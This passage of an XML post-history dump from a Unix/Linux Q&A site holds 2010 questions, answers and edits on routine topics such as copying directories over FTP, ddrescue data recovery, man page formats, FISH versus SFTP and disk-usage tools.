'*/Loader/Autoloader.php' \&#xD;&#xA;      -not -name '*/Application.php' -print0&#xD;&#xA;&#xD;&#xA;But then changing the original to reflect this:&#xD;&#xA;&#xD;&#xA;    find . -name '*.php' -not -name '*/Loader/Autoloader.php' \&#xD;&#xA;      -not -name '*/Application.php' -print0 | \ xargs -0 sed --regexp-extended --in-place 's/(require_once)/\/\/ \1/g'&#xD;&#xA;&#xD;&#xA;Gives the error:&#xD;&#xA;&#xD;&#xA;&gt; -bash:  xargs: command not found&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;FYI, I'm running sed version 4.1.2 and I'm a bit a lost in the command line already, so please explain answers" />
  <row Id="8543" PostHistoryTypeId="2" PostId="3946" RevisionGUID="97333181-5c70-4a39-923e-679cdd052f74" CreationDate="2010-11-11T17:35:44.337" UserId="2624" Text="You've installed the needed gstreamer plugins?&lt;br&gt;&#xD;&#xA;(don't know exactly which, maybe &lt;b&gt;gstreamer0.10-bad&lt;/b&gt; or &lt;b&gt;gstreamer0.10-ffmpeg&lt;/b&gt;) ..." />
  <row Id="8544" PostHistoryTypeId="2" PostId="3947" RevisionGUID="b139a976-43d9-4610-a223-a0ac5ffdf28d" CreationDate="2010-11-11T17:40:52.410" UserId="2622" Text="Hi,&#xD;&#xA;&#xD;&#xA;I want to duplicate a directory from the command line.&#xD;&#xA;&#xD;&#xA;Lets say I have `file` I want to have `files2` with all it´s subdirectories and files.&#xD;&#xA;&#xD;&#xA;`files2` should be in the same directory as the original.&#xD;&#xA;&#xD;&#xA;What would be the simplest way to achieve this?&#xD;&#xA;&#xD;&#xA;Thanks in advance.&#xD;&#xA;&#xD;&#xA;BTW: As you may have noticed I´m a complete newbie to UNIX command line, so sorry if the question is no clear enough and please ask for any clarification needed." />
  <row Id="8545" PostHistoryTypeId="1" PostId="3947" RevisionGUID="b139a976-43d9-4610-a223-a0ac5ffdf28d" CreationDate="2010-11-11T17:40:52.410" UserId="2622" Text="Easiest way to duplicate directory" />
  <row Id="8546" PostHistoryTypeId="3" PostId="3947" RevisionGUID="b139a976-43d9-4610-a223-a0ac5ffdf28d" CreationDate="2010-11-11T17:40:52.410" UserId="2622" Text="écommandölineàédirectoryàépromptàéunixàéduplicateà" />
  <row Id="8547" PostHistoryTypeId="2" PostId="3948" RevisionGUID="afb3bc23-38ec-43fc-b6d5-bf686b1c6c51" CreationDate="2010-11-11T17:45:59.557" UserId="73" Text="`cp` copies files and directories; you can give it the `-r` flag to make it recursively copy everything. From the folder that contains `file`:&#xD;&#xA;&#xD;&#xA;    $ cp -r file files2&#xD;&#xA;" />
  <row Id="8548" PostHistoryTypeId="5" PostId="3947" RevisionGUID="2e2f76f3-93a8-4afd-b523-4cf4d04fc42b" CreationDate="2010-11-11T17:47:17.297" UserId="73" Comment="deleted 59 characters in body" Text="I want to duplicate a directory from the command line.&#xD;&#xA;&#xD;&#xA;Let's say I have `file`. I want to have `files2` with all of `file`'s subdirectories and files, in the same directory as the original. What would be the simplest way to achieve this?&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;(I´m a complete newbie to the UNIX command line, so sorry if the question is not clear enough; please ask for any clarification needed.)&lt;/sub&gt;" />
  <row Id="8549" PostHistoryTypeId="4" PostId="3931" RevisionGUID="952f67cb-b2fc-4479-b126-159abf27e65b" CreationDate="2010-11-11T17:49:08.533" UserId="1327" Comment="edited title" Text="Quick way to host a webserver on localhost" />
  <row Id="8550" PostHistoryTypeId="5" PostId="3947" RevisionGUID="6b81f16d-4d4f-43cc-a942-b5551442b920" CreationDate="2010-11-11T17:56:19.047" UserId="73" Comment="added 44 characters in body; edited tags; edited title" Text="I want to duplicate a directory on an FTP server I'm connected to from my Mac via the command-line&#xD;&#xA;&#xD;&#xA;Let's say I have `file`. I want to have `files2` with all of `file`'s subdirectories and files, in the same directory as the original. What would be the simplest way to achieve this?&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;(I´m a complete newbie to the UNIX command line, so sorry if the question is not clear enough; please ask for any clarification needed.)&lt;/sub&gt;" />
  <row Id="8551" PostHistoryTypeId="4" PostId="3947" RevisionGUID="6b81f16d-4d4f-43cc-a942-b5551442b920" CreationDate="2010-11-11T17:56:19.047" UserId="73" Comment="added 44 characters in body; edited tags; edited title" Text="Easiest way to duplicate directory over FTP" />
  <row Id="8552" PostHistoryTypeId="6" PostId="3947" RevisionGUID="6b81f16d-4d4f-43cc-a942-b5551442b920" CreationDate="2010-11-11T17:56:19.047" UserId="73" Comment="added 44 characters in body; edited tags; edited title" Text="édirectoryàépromptàéunixàéduplicateàéftpà" />
  <row Id="8553" PostHistoryTypeId="5" PostId="3925" RevisionGUID="ec47813e-a8e8-46f5-8143-b8ed42fc3bc1" CreationDate="2010-11-11T18:04:25.130" UserId="226" Comment="added 50 characters in body" Text="I am using an ubuntu live cd to help me recover some data off of a hard drive. I used `lshw -C disk` to find out which device I need to copy, `/dev/sda` in this case.&#xD;&#xA;&#xD;&#xA;I am using `ddrescue -n` to try and recover some data from a failing hard drive.  It stops at 100GB of a 500GB hard drive. After it finishes `sudo lshw -C disk` does not print anything.&#xD;&#xA;&#xD;&#xA;The next step in using `ddrescue` is to use `sudo ddrescue -r 1 /dev/sda`, but it reports there is no such file or directory.&#xD;&#xA;&#xD;&#xA;What is going on; why is `lshw` failing to report anything?&#xD;&#xA;&#xD;&#xA;Edit: Added sudo to relevant places." />
  <row Id="8554" PostHistoryTypeId="5" PostId="3947" RevisionGUID="2cffea3f-d941-4f11-8ae1-8210699c9caf" CreationDate="2010-11-11T18:27:30.583" UserId="2622" Comment="added 264 characters in body" Text="I want to duplicate a directory on an FTP server I'm connected to from my Mac via the command-line&#xD;&#xA;&#xD;&#xA;Let's say I have `file`. I want to have `files2` with all of `file`'s subdirectories and files, in the same directory as the original. What would be the simplest way to achieve this?&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;(I´m a complete newbie to the UNIX command line, so sorry if the question is not clear enough; please ask for any clarification needed.)&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;With `mget` and `mput` you could download all files and upload them again into a different folder but this is definitely NOT what i want/need (I started this question trying to avoid duplicating with this download upload method from the dektop client)" />
  <row Id="8555" PostHistoryTypeId="2" PostId="3949" RevisionGUID="a1b83339-b1b5-4df8-9891-249727ba2ecc" CreationDate="2010-11-11T18:37:04.060" UserId="2626" Text="    apt-get install wife :P&#xD;&#xA;&#xD;&#xA;http://en.tiraecol.net/modules/comic/comic.php?content_id=161&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;http://www.tiraecol.net/modules/comic/comic.php?content_id=162&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/e1q40.png&#xD;&#xA;  [2]: http://i.imgur.com/MB787.png" />
  <row Id="8556" PostHistoryTypeId="2" PostId="3950" RevisionGUID="ad247ee4-1657-4fe4-a3f0-36d44e95e8bf" CreationDate="2010-11-11T20:03:11.987" UserId="885" Text="What you have is not a unix command line, what you have is an FTP session. FTP is designed primarily to upload and download files, it's not designed for general file management, and it doesn't let you run arbitrary commands on the server. In particular, as far as I know, there is no way to trigger a file copy on the server: all you can do is download the file then upload it under a different name.&#xD;&#xA;&#xD;&#xA;Some servers support extensions to the FTP protocol, and it's remotely possible that one of these extensions lets you copy remote files. Try `help site` or `remotehelp` to see what extensions the server supports.&#xD;&#xA;&#xD;&#xA;If you want a unix command line, you need remote shell access, via rsh (&lt;strong&gt;r&lt;/strong&gt;emote &lt;strong&gt;sh&lt;/strong&gt;ell) or more commonly in the 21st century ssh (&lt;strong&gt;s&lt;/strong&gt;ecure &lt;strong&gt;sh&lt;/strong&gt;ell). If this is a web host, check if it provides ssh access. Otherwise, contact the system administrator. But don't be surprised if the answer is no: command line access would be a security breach in some multi-user setups, so there may be a legitimate reason why it's not offered.&#xD;&#xA;" />
  <row Id="8557" PostHistoryTypeId="6" PostId="3947" RevisionGUID="cba5c9bc-45ad-4688-affd-9fc9c887133f" CreationDate="2010-11-11T20:04:29.583" UserId="885" Comment="edited tags" Text="éfileötransferàéftpàéremoteàéfileöcopyà" />
  <row Id="8558" PostHistoryTypeId="5" PostId="3938" RevisionGUID="85d4f37d-50bc-4b15-8b01-68c8b33aff38" CreationDate="2010-11-11T20:10:40.600" UserId="885" Comment="deleted 223 characters in body" Text="The kernel is not required to keep track of command line arguments. When a process is started through the `execve` call, the kernel must copy the arguments into the process memory (so that they will be available as `argv` in a C program, for example). After that, the kernel can discard the memory used to store the initial command line arguments. The process is allowed to overwrite its copy of the arguments. So there may simply be no trace of the arguments.&#xD;&#xA;&#xD;&#xA;Some unix variants do keep a copy of the arguments in some form. Solaris exposes some data in `/proc/$pid`. As of OpenSolaris 2009.06, the only trace of the arguments is in `/proc/$pid/psinfo`, where they are concatenated with spaces in between (so you can't distinguish between `foo &quot;one&quot; &quot;two&quot;` and `foo &quot;one two&quot;`) and the resulting string is truncated to 80 bytes. This field in `/proc/$pid/psinfo` is what `ps` prints in the `args` column.&#xD;&#xA;&#xD;&#xA;By the way, the `-f` and `-l` options control what fields are printed, not whether the fields are truncated to some width.&#xD;&#xA;" />
  <row Id="8559" PostHistoryTypeId="5" PostId="3948" RevisionGUID="b8624346-6710-4b5d-a4cd-507692310050" CreationDate="2010-11-11T22:26:40.233" UserId="73" Comment="added 82 characters in body" Text="This is wrong now, but keeping undeleted so the comment tree isn't lost&#xD;&#xA;&#xD;&#xA;&lt;s&gt;`cp` copies files and directories; you can give it the `-r` flag to make it recursively copy everything. From the folder that contains `file`:&#xD;&#xA;&#xD;&#xA;    $ cp -r file files2&#xD;&#xA;&lt;/s&gt;" />
  <row Id="8560" PostHistoryTypeId="2" PostId="3951" RevisionGUID="c96a5621-483c-4f11-8176-7cc7feefa929" CreationDate="2010-11-11T22:27:01.507" UserDisplayName="pats" Text="Hi all-&#xD;&#xA;&#xD;&#xA;on start-up, xfce4 loads loads of desktop pictures (I have the settings set to 'image list') one after another. about 10, but I have the feeling it gets more and more.&#xD;&#xA;that by itself would be no problem, but then it decides to show instead - of what I want it to - no background image, just an awful shade of brown. plus (which is worse), it shows files (icons) on the desktop, which I don't want.&#xD;&#xA;&#xD;&#xA;where could I start to look? ideas welcome.&#xD;&#xA;thanks, pat" />
  <row Id="8561" PostHistoryTypeId="1" PostId="3951" RevisionGUID="c96a5621-483c-4f11-8176-7cc7feefa929" CreationDate="2010-11-11T22:27:01.507" UserDisplayName="pats" Text="xfdesktop (xfce4) broken?" />
  <row Id="8562" PostHistoryTypeId="3" PostId="3951" RevisionGUID="c96a5621-483c-4f11-8176-7cc7feefa929" CreationDate="2010-11-11T22:27:01.507" UserDisplayName="pats" Text="édesktopàéxfceà" />
  <row Id="8563" PostHistoryTypeId="5" PostId="3951" RevisionGUID="b9348674-9660-4531-a9c8-448dbcf9a384" CreationDate="2010-11-11T22:28:52.480" UserId="73" Comment="deleted 77 characters in body" Text="On start-up, xfce4 loads lots of desktop pictures (I have the settings set to 'image list') one after another (about 10, but I have the feeling it gets more and more).&#xD;&#xA;That by itself would be no problem, but then it decides to show no background image, just an awful shade of brown. Plus, it shows files (icons) on the desktop, which I don't want.&#xD;&#xA;&#xD;&#xA;Where could I start to look to fix it?&#xD;&#xA;" />
  <row Id="8564" PostHistoryTypeId="2" PostId="3952" RevisionGUID="a7e9dc90-3af7-4ff8-b701-bf922656bc75" CreationDate="2010-11-11T22:53:11.010" UserId="2333" Text="A piece of software wants to know for its configuration whether my man uses nroff or vt100 &quot;catman&quot; pages. How do I determine this?" />
  <row Id="8565" PostHistoryTypeId="1" PostId="3952" RevisionGUID="a7e9dc90-3af7-4ff8-b701-bf922656bc75" CreationDate="2010-11-11T22:53:11.010" UserId="2333" Text="What format does man use?" />
  <row Id="8566" PostHistoryTypeId="3" PostId="3952" RevisionGUID="a7e9dc90-3af7-4ff8-b701-bf922656bc75" CreationDate="2010-11-11T22:53:11.010" UserId="2333" Text="éconfigurationà" />
  <row Id="8567" PostHistoryTypeId="2" PostId="3953" RevisionGUID="55dfadc4-b849-4e77-80a3-bd101b856ccd" CreationDate="2010-11-11T22:53:46.453" UserId="328" Text="I'm working with (read, &quot;around&quot;) a proprietary ERP system on top of SCO Unix.  It has several &quot;query at print time&quot; reports where you can assign a printer to send your job to.&#xD;&#xA;&#xD;&#xA;You usually input something like &quot;%lp5&quot;, which spools your job to printer lp5.  &#xD;&#xA;&#xD;&#xA;If I want to create a pseudo-printer that will interact with the user and then return control to the ERP how would I go about it?  I have manipulated the LP interfaces scripts in the vein of [this article][1], to include dynamic data into the reports and flow control to a print server.  But now I want to do actual interaction with the user to connect print jobs with a separate [HylaFax][2] server that I've built, so I need a way of triggering a shell script and asking the user for fax coversheet information.&#xD;&#xA;&#xD;&#xA;Our system has a built in fax system using VsiFax (which I'm trying to subvert), but I don't see how it is performing the same function I'm trying to do.  You usually send your job to the VsiFax system by printing to &quot;@fax&quot; which I don't know if it's a hardcoded printer on the ERP side or if there is some Unix convention that is being used to call a shell script.&#xD;&#xA;&#xD;&#xA;I guess what I'm looking for is a resource or some help on what the SCO Unix printing conventions might be related to syntax of printer names (what does &quot;@&quot; and &quot;%&quot; mean and are there other special characters, and how I could call a shell script when sending that print job?&#xD;&#xA;&#xD;&#xA;  [1]: http://playground.sun.com/printing/documentation/interface.html&#xD;&#xA;  [2]: http://www.hylafax.org/content/Main_Page" />
  <row Id="8568" PostHistoryTypeId="1" PostId="3953" RevisionGUID="55dfadc4-b849-4e77-80a3-bd101b856ccd" CreationDate="2010-11-11T22:53:46.453" UserId="328" Text="SCO Unix run interactive script when sending a print job" />
  <row Id="8569" PostHistoryTypeId="3" PostId="3953" RevisionGUID="55dfadc4-b849-4e77-80a3-bd101b856ccd" CreationDate="2010-11-11T22:53:46.453" UserId="328" Text="éscriptingàéunixàéprintingàéshellöscriptà" />
  <row Id="8570" PostHistoryTypeId="5" PostId="3939" RevisionGUID="1fbbf2d7-f86f-495e-a917-4f76e881e31f" CreationDate="2010-11-11T22:56:49.913" UserId="885" Comment="fixed spelling" Text="The application is connected in two ways: to bash, and to the terminal.&#xD;&#xA;&#xD;&#xA;The connection to the terminal is that the standard streams (stdin, stdout and stderr) of the application are connected to the terminal. Typical GUI applications don't use stdin or stdout, but they might emit error messages to stderr.&#xD;&#xA;&#xD;&#xA;The connection to the shell is that if you started the application with `foo &amp;`, it remains known to the shell as a job, as explained in [Difference between nohup, disown and &amp;](http://unix.stackexchange.com/questions/3886/difference-between-nohup-disown-and). When you close the terminal, the shell receives a `SIGHUP`, which it propagates to its jobs. When you type `exit` in the shell, it disowns the jobs beforehand (this is configurable to some extent).&#xD;&#xA;&#xD;&#xA;You can sever the shell connection with the `disown` built-in. You can't sever the terminal connection, at least not without underhand methods (using a debugger) that could crash the program.&#xD;&#xA;" />
  <row Id="8571" PostHistoryTypeId="2" PostId="3954" RevisionGUID="21097415-4119-4d4a-92d6-2deb811787f2" CreationDate="2010-11-11T23:06:36.823" UserId="2629" Text="Give nroff a go, most recent versions of 'man' use *roff by default.&#xD;&#xA;&#xD;&#xA;&gt; man man&#xD;&#xA;&#xD;&#xA;Shows under Defaults that nroff is the default on my Ubuntu &amp; OS X systems so should be a safe bet." />
  <row Id="8572" PostHistoryTypeId="2" PostId="3955" RevisionGUID="286d2846-4d52-46f9-825f-b0a44b9793a6" CreationDate="2010-11-11T23:10:00.003" UserId="2630" Text="In my struggles to install ClearOS correctly, I now have another problem: After the first boot I keep getting stuck on &quot;Determining IP information for wlan0...&quot;. It doesn't move forward at all. I've even waited for 20 minutes before continuing, but didn't make a difference. Right now my comp is unbootable because of this?&#xD;&#xA;&#xD;&#xA;Anyway to fix this?" />
  <row Id="8573" PostHistoryTypeId="1" PostId="3955" RevisionGUID="286d2846-4d52-46f9-825f-b0a44b9793a6" CreationDate="2010-11-11T23:10:00.003" UserId="2630" Text="Stuck on &quot;Determining IP information for wlan0&quot; at boot" />
  <row Id="8574" PostHistoryTypeId="3" PostId="3955" RevisionGUID="286d2846-4d52-46f9-825f-b0a44b9793a6" CreationDate="2010-11-11T23:10:00.003" UserId="2630" Text="élinuxàébootà" />
  <row Id="8575" PostHistoryTypeId="5" PostId="3954" RevisionGUID="63f012c4-8bc8-4cc9-8689-c02748951bb0" CreationDate="2010-11-11T23:11:29.653" UserId="1207" Comment="added 2 characters in body" Text="Give nroff a go, most recent versions of 'man' use *roff by default.&#xD;&#xA;&#xD;&#xA;    man man&#xD;&#xA;&#xD;&#xA;Shows under Defaults that nroff is the default on my Ubuntu &amp; OS X systems so should be a safe bet." />
  <row Id="8576" PostHistoryTypeId="2" PostId="3956" RevisionGUID="c653ef4a-210b-4c2e-b6b3-73405747ecd6" CreationDate="2010-11-11T23:47:55.773" UserId="2629" Text="QLogic drivers for 2.6.18 likely won't mix with the 2.6.9 kernel that RHEL 4.8 uses.&#xD;&#xA;&#xD;&#xA;For instance, looking at [The QLogic Download Page][1] the oldest kernel that is supported is 2.6.16 (SLES 10 SP2).&#xD;&#xA;&#xD;&#xA;Without any additional information like dmesg/lspci/compile errors, your best bet would be to upgrade to RHEL5/6 where the device is supported by your vendors.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://driverdownloads.qlogic.com/QLogicDriverDownloads_UI/Product_detail_new.aspx?oemid=395" />
  <row Id="8577" PostHistoryTypeId="6" PostId="3955" RevisionGUID="42f691ae-be41-4e66-9972-c1f1947ce200" CreationDate="2010-11-11T23:54:23.083" UserId="885" Comment="edited tags" Text="élinuxàénetworkingàébootà" />
  <row Id="8578" PostHistoryTypeId="2" PostId="3957" RevisionGUID="e6f4eb38-9796-4820-9153-83901ea7e19a" CreationDate="2010-11-12T00:25:40.470" UserId="885" Text="Short answer: just pick nroff.&#xD;&#xA;&#xD;&#xA;Nroff is the traditional word processor for manual pages. “Catman” pages are usually manual pages that have been formatted by nroff for use on a text terminal. Catman pages have little formatting, just boldface and underline, and are justified for a particular terminal width (generally 80 columns). In the old days, it made sense to install preformatted (i.e. catman) pages to avoid the formatting time, but on a modern (or even not-so-modern) machine the time spent formatting is insignificant. Some systems have a cache so that each source page is formatted only once, but even that is falling into disuse. Having the source nroff pages has the advantage that they can be formatted for a different terminal width, for a different character encoding, or for viewing in a non-terminal setting (web browser, pdf, ...).&#xD;&#xA;&#xD;&#xA;Look in `/usr/man` or `/usr/share/man` to see what's already there. If you see directories called `man` followed by a digit containing files that have a lot of lines beginning with with a dot followed by two letters, your system supports nroff man pages. If you see directories called `cat` followed by a digit containing files with `^H` characters (character number 8, which might be displayed as `\010`, `\x08`, or show up as underlining or boldface), your system supports catman pages.&#xD;&#xA;&#xD;&#xA;In fact, even if one of these is absent, most systems support both. For example, Linux systems rarely have any catman page installed but do support them. Conversely, the base OpenBSD installation comes with catman pages but supports nroff man pages (which are the norm in ports). A few systems support other formats as well, for example Solaris ships some pages in an SGML format.&#xD;&#xA;" />
  <row Id="8579" PostHistoryTypeId="6" PostId="1987" RevisionGUID="405323f1-4d96-463b-a82d-eb455de1b4a0" CreationDate="2010-11-12T00:28:17.460" UserId="885" Comment="tags" Text="élinuxàédriversàérhelà" />
  <row Id="8580" PostHistoryTypeId="2" PostId="3958" RevisionGUID="890a9d42-bb2e-44a5-87c6-63568af23922" CreationDate="2010-11-12T01:22:43.227" UserId="2119" Text="I use SSH for remote file systems access. And I use Krusader file manager. Krusader offers a choice of FTP, SMB, FISH and SFTP connection protocols, and both FISH and SFTP work with an SSH server. What's the difference among FISH and SFTP?&#xD;&#xA;&#xD;&#xA;PS: I don't specify Krusader in the question title because Midnight Commander, for example, supports FISH as well, so that FISH can be something not limited to Krusader." />
  <row Id="8581" PostHistoryTypeId="1" PostId="3958" RevisionGUID="890a9d42-bb2e-44a5-87c6-63568af23922" CreationDate="2010-11-12T01:22:43.227" UserId="2119" Text="What's difference between FISH and SFTP?" />
  <row Id="8582" PostHistoryTypeId="3" PostId="3958" RevisionGUID="890a9d42-bb2e-44a5-87c6-63568af23922" CreationDate="2010-11-12T01:22:43.227" UserId="2119" Text="ésshàésftpàéfishà" />
  <row Id="8583" PostHistoryTypeId="2" PostId="3959" RevisionGUID="8f0da67a-b5b4-4c80-9726-0af48d91c348" CreationDate="2010-11-12T02:32:06.300" UserId="2629" Text="FISH and SFTP are similar, and as observed do both work over SSH, SFTP requires specific support and configuration in the SSH Server to facilitate the transfer, but it a bit more secure and allows for SysAdmins to only allow SFTP (in these situations FISH won't work).&#xD;&#xA;&#xD;&#xA;FISH requires a shell (sh/rsh for instance) to copy, and hence requires full SSH access to the machine, I would imagine it would be harder to secure (I cannot comment objectively on this as I've never had to).&#xD;&#xA;&#xD;&#xA;Where possible, I'd recommend SFTP, scp, FISH (in that order).&#xD;&#xA;&#xD;&#xA;[Wikipedia FISH Article][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Files_transferred_over_shell_protocol" />
  <row Id="8584" PostHistoryTypeId="2" PostId="3960" RevisionGUID="efedfc74-9a84-4f1a-8b9a-e93fd18d9fd5" CreationDate="2010-11-12T05:08:39.013" UserId="1779" Text="[LFTP](http://lftp.yar.ru/) supports higher-level commands above what the FTP protocol provides, for example its `mirror` command provides what you want.&#xD;&#xA;&#xD;&#xA;There are other programs with similar features; [sitecopy](http://www.manyfish.co.uk/sitecopy/) is another example." />
  <row Id="8585" PostHistoryTypeId="2" PostId="3961" RevisionGUID="961b0671-a6b9-4b38-9742-e666b89b8d81" CreationDate="2010-11-12T05:40:22.393" UserId="1594" Text="I'm looking for a linux alternative to [WinDirStat][1]. I would like to know what is taking up space on my hard drives.&#xD;&#xA;&#xD;&#xA;A program that works on console is preferred.&#xD;&#xA;&#xD;&#xA;(Please retag this, I can't create new tags and didn't find existing tags that fit)&#xD;&#xA;&#xD;&#xA;  [1]: http://windirstat.info/" />
  <row Id="8586" PostHistoryTypeId="1" PostId="3961" RevisionGUID="961b0671-a6b9-4b38-9742-e666b89b8d81" CreationDate="2010-11-12T05:40:22.393" UserId="1594" Text="How to understand what's taking up space?" />
  <row Id="8587" PostHistoryTypeId="3" PostId="3961" RevisionGUID="961b0671-a6b9-4b38-9742-e666b89b8d81" CreationDate="2010-11-12T05:40:22.393" UserId="1594" Text="écommandölineà" />
  <row Id="8588" PostHistoryTypeId="5" PostId="3961" RevisionGUID="fcfc6b03-fe43-4713-bec6-a5891b574a6e" CreationDate="2010-11-12T05:46:08.307" UserId="1594" Comment="added 26 characters in body" Text="I'm looking for a linux alternative to [WinDirStat][1]. I would like to know what is taking up space on my hard drives.&#xD;&#xA;&#xD;&#xA;A program that works on console and doesn't require a UI is preferred .&#xD;&#xA;&#xD;&#xA;(Please retag this, I can't create new tags and didn't find existing tags that fit)&#xD;&#xA;&#xD;&#xA;  [1]: http://windirstat.info/" />
  <row Id="8589" PostHistoryTypeId="2" PostId="3962" RevisionGUID="6a202516-2160-4c2b-afde-9a0c26216dda" CreationDate="2010-11-12T05:49:12.323" UserId="1327" Text="I can't mount a encrypted SD card with Truecrypt anymore.&#xD;&#xA;&#xD;&#xA;&gt;     mount: wrong fs type, bad option, bad superblock on /dev/mapper/truecrypt1,&#xD;&#xA;&gt;            missing codepage or helper program, or other error&#xD;&#xA;&gt;            In some cases useful info is found in syslog - try&#xD;&#xA;&gt;            dmesg | tail  or so&#xD;&#xA;&#xD;&#xA;Usually if this happens to a normal partition, runing `fsck` on it will solve my problems. But what do I do with a encrypted partition?" />
  <row Id="8590" PostHistoryTypeId="1" PostId="3962" RevisionGUID="6a202516-2160-4c2b-afde-9a0c26216dda" CreationDate="2010-11-12T05:49:12.323" UserId="1327" Text="Encrypted SD card corrupted." />
  <row Id="8591" PostHistoryTypeId="3" PostId="3962" RevisionGUID="6a202516-2160-4c2b-afde-9a0c26216dda" CreationDate="2010-11-12T05:49:12.323" UserId="1327" Text="émountàétruecryptà" />
  <row Id="8592" PostHistoryTypeId="5" PostId="3961" RevisionGUID="851e1589-ca72-4de0-a7f5-310af95addfb" CreationDate="2010-11-12T06:23:52.373" UserId="73" Comment="deleted 87 characters in body; edited tags" Text="I'm looking for a linux alternative to [WinDirStat][1]. I would like to know what is taking up space on my hard drives.&#xD;&#xA;&#xD;&#xA;A program that works on console and doesn't require a UI is preferred .&#xD;&#xA;&#xD;&#xA;  [1]: http://windirstat.info/" />
  <row Id="8593" PostHistoryTypeId="6" PostId="3961" RevisionGUID="851e1589-ca72-4de0-a7f5-310af95addfb" CreationDate="2010-11-12T06:23:52.373" UserId="73" Comment="deleted 87 characters in body; edited tags" Text="écommandölineàédisköusageà" />
  <row Id="8594" PostHistoryTypeId="2" PostId="3963" RevisionGUID="094034b4-6d3c-4f74-81b7-fb5fd060ca58" CreationDate="2010-11-12T06:34:02.923" UserDisplayName="Gaurav Sharma" Text="Running &#xD;&#xA;&#xD;&#xA;    yum groupinstall &quot;Development Tools&quot;&#xD;&#xA;&#xD;&#xA;on my CentOS machine fails. I get errors such as &#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;     http://sumbawa.idrepo.or.id/epel/5/i386/repodata/7665d1f4c95b91088577b351525888a460749412-filelists.sqlite.bz2http://mirror.bjtu.edu.cn/fedora-epel/5/i386/repodata/7665d1f4c95b91088577b351525888a460749412-filelists.sqlite.bz2: [Errno 12] Timeout: &lt;urlopen error timed out&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any workarounds / alternatives?" />
  <row Id="8595" PostHistoryTypeId="1" PostId="3963" RevisionGUID="094034b4-6d3c-4f74-81b7-fb5fd060ca58" CreationDate="2010-11-12T06:34:02.923" UserDisplayName="Gaurav Sharma" Text="yum groupinstall &quot;Development Tools&quot; fails" />
  <row Id="8596" PostHistoryTypeId="3" PostId="3963" RevisionGUID="094034b4-6d3c-4f74-81b7-fb5fd060ca58" CreationDate="2010-11-12T06:34:02.923" UserDisplayName="Gaurav Sharma" Text="écentosàéyumà" />
  <row Id="8597" PostHistoryTypeId="2" PostId="3964" RevisionGUID="061ee650-59fa-4b73-a5d9-e92d3d894f73" CreationDate="2010-11-12T06:35:00.053" UserId="73" Text="If you want a command-line tool, I prefer [ncdu](http://dev.yorhel.nl/ncdu), an ncurses version of `du`. It scans the disk (or a given folder) and then shows the top-level space usages; you can select a given directory to get the corresponding summary for that directory, and go back without needing to reanalyze:&#xD;&#xA;&#xD;&#xA;![Screenshot of ncdu](http://mrozekma.com/ncdu.png)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;If you're ok with a GUI program, [Filelight](http://www.methylblue.com/filelight/) is the closest thing to WinDirStat I've found; it shows a graphical view of space consumption:&#xD;&#xA;&#xD;&#xA;![Screenshot of Filelight](http://www.methylblue.com/filelight/images/filelight-1.0.png)&#xD;&#xA;&#xD;&#xA;Like `ncdu`, Filelight lets you select a given directory to get the breakdown for that directory" />
  <row Id="8598" PostHistoryTypeId="5" PostId="3963" RevisionGUID="db629781-8722-4294-8ae1-5fe641254f48" CreationDate="2010-11-12T06:41:07.933" UserId="73" Comment="deleted 116 characters in body" Text="Running &#xD;&#xA;&#xD;&#xA;    yum groupinstall &quot;Development Tools&quot;&#xD;&#xA;&#xD;&#xA;on my CentOS machine fails. I get errors such as:&#xD;&#xA;&#xD;&#xA;    http://mirror.bjtu.edu.cn/fedora-epel/5/i386/repodata/7665d1f4c95b91088577b351525888a460749412-filelists.sqlite.bz2: [Errno 12] Timeout: &lt;urlopen error timed out&gt;&#xD;&#xA;&#xD;&#xA;Any workarounds / alternatives?&#xD;&#xA;" />
  <row Id="8599" PostHistoryTypeId="2" PostId="3965" RevisionGUID="447685ea-b86a-4631-a1f0-bf63d0939a4e" CreationDate="2010-11-12T06:52:45.300" UserId="1594" Text="Ah, the joy of being a noob...&#xD;&#xA;&#xD;&#xA;What's the simplest way to download/install software on linux (from bash command line)?" />
  <row Id="8600" PostHistoryTypeId="1" PostId="3965" RevisionGUID="447685ea-b86a-4631-a1f0-bf63d0939a4e" CreationDate="2010-11-12T06:52:45.300" UserId="1594" Text="How to install linux programs?" />
  <row Id="8601" PostHistoryTypeId="3" PostId="3965" RevisionGUID="447685ea-b86a-4631-a1f0-bf63d0939a4e" CreationDate="2010-11-12T06:52:45.300" UserId="1594" Text="éinstallà" />
  <row Id="8602" PostHistoryTypeId="2" PostId="3966" RevisionGUID="cff744d7-00e8-4dcc-9289-5d7a82a26428" CreationDate="2010-11-12T07:54:00.327" UserId="2567" Text="For Debian/Ubuntu&#xD;&#xA;&#xD;&#xA;    aptitude install firefox&#xD;&#xA;&#xD;&#xA;For Fedora i think it is &#xD;&#xA;&#xD;&#xA;    yum install firefox&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8603" PostHistoryTypeId="2" PostId="3967" RevisionGUID="de5c77e3-8b5f-4dcc-9031-51e13b9e2634" CreationDate="2010-11-12T08:22:44.800" UserId="1194" Text="To remove the icons:  &#xD;&#xA;right click on the desktop -&gt; Desktop settings -&gt; Icons -&gt; Icon type -&gt; None" />
  <row Id="8604" PostHistoryTypeId="2" PostId="3968" RevisionGUID="0403d26b-52d4-45ff-9d11-ae02e46950a5" CreationDate="2010-11-12T08:57:54.620" UserId="2627" Text="    joe@joebox:~$ whatis linux" />
